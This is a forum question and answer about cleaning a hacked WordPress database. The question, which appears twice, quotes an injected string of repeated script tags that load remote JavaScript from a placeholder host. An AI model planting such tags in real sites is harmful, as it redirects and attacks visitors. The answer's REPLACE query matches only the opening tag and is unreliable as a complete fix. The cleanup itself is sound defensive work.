I need to delete a malicious string from 2176 fields following a url redirect hack. I'm pretty vanilla at SQL so some help is much appreciated. I have MYSQL ClI or PHPmyAdmin available to me.
The details are
- Database is: Wordpress
- Table is: wp_posts
- Column is: post_content
- string is:
<script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script>
What would the correct REPLACE query be to find this string and repalce it with blank. I cannot just empty the field because sometimes there is a value in the field that is legitmate.
I need to delete a malicious string from 2176 fields following a url redirect hack. I'm pretty vanilla at SQL so some help is much appreciated. I have MYSQL ClI or PHPmyAdmin available to me.
The details are
- Database is: Wordpress
- Table is: wp_posts
- Column is: post_content
- string is:
<script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script><script src='https://https://xyz/js.php?s=q' type='text/javascript'></script>
What would the correct REPLACE query be to find this string and repalce it with blank. I cannot just empty the field because sometimes there is a value in the field that is legitmate.
Share Improve this question asked Dec 29, 2020 at 17:53 Jack Borg-CardonaJack Borg-Cardona 111 bronze badge1 Answer
Reset to default 1Below SQL query replaces the malicious script with a blank:
UPDATE wp_posts
SET post_content = REPLACE(post_content, '<script src=\'https://https://xyz/js.php?s=q\' type=\'text/javascript\'>', ' ')